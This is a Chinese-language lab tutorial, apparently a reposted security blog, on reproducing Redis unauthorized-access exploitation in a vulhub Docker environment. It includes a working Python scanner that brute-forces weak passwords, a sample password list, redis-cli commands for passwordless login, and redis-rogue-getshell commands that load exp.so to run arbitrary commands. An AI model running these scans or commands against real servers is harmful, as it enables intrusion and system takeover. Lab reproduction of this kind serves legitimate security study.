前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

作者头像
LuckySec
发布2022-11-02 14:23:29
1.6K0
发布2022-11-02 14:23:29
举报
文章被收录于专栏:LuckySec网络安全

0x01 漏洞简介

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。

Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

  • 影响版本 Redis 4.x/5.0.5以前版本

0x02 环境准备

漏洞环境使用vulhub复现相当方便。

代码语言:javascript
复制
cd /vulhub/redis/4-unacc
docker-compose up -d

0x03 漏洞检测

redis 未授权批量检测工具脚本,该脚本支持弱口令检测。

将检测代码新建保存到redis-scan.py脚本中。

代码语言:javascript
复制
#!/usr/bin/python2
# -*- coding: utf-8 -*-

import socket
import sys

def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"[+] IP:{0}存在未授权访问".format(ip)
        elif "Authentication" in result:
            with open('pass.txt','r') as  p:
                passwds = p.readlines()
                for passwd in passwds:
                    passwd = passwd.strip("\n")
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s\r\n" %(passwd))
                    # print u"[HACKING] hacking to passwd --> "+passwd
                    result = s.recv(1024)
                    if 'OK' in result:
                        return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
                    else:pass
        else:pass
        s.close()
    except Exception, e:
        return u"[+] IP:{0}已过滤".format(ip)
        pass

if __name__ == '__main__':
    port="6379"
    with open('IP.txt','r') as  f:
        ips = f.readlines()
        for i in ips:
            ip = i.strip("\n")
            result = check(ip,port,timeout=10)
            print(result)

在脚本同目录下新建IP.txt导入要检测的目标IP,格式如下:

代码语言:javascript
复制
192.168.126.128
192.168.126.129
192.168.126.130
192.168.126.131
...

在脚本同目录下新建pass.txt导入弱口令字典,格式如下:

代码语言:javascript
复制
redis
root
oracle
password
p@ssw0rd
abc123!
123456
admin
abc123
...

工具脚本检测使用命令

代码语言:javascript
复制
python redis-scan.py

检测到目标存在未授权漏洞

如果目标设置了登录密码,支持弱口令检测

0x04 漏洞利用

kali安装redis-cli远程连接工具

代码语言:javascript
复制
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make 
cp src/redis-cli /usr/bin/
redis-cli -h

使用redis-cli命令直接远程免密登录redis主机

代码语言:javascript
复制
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

kali安装redis-getShell工具

代码语言:javascript
复制
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make

利用此工具进行getShell,执行任意命令

代码语言:javascript
复制
# 工具命令格式:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
# 工具命令示例:
python3 redis-master.py -r 192.168.126.130 -p 6379 -L 192.168.126.128 -P 8888 -f RedisModulesSDK/exp.so -c "uname -a"

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 漏洞简介
  • 0x02 环境准备
  • 0x03 漏洞检测
  • 0x04 漏洞利用
  • 参考文章
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档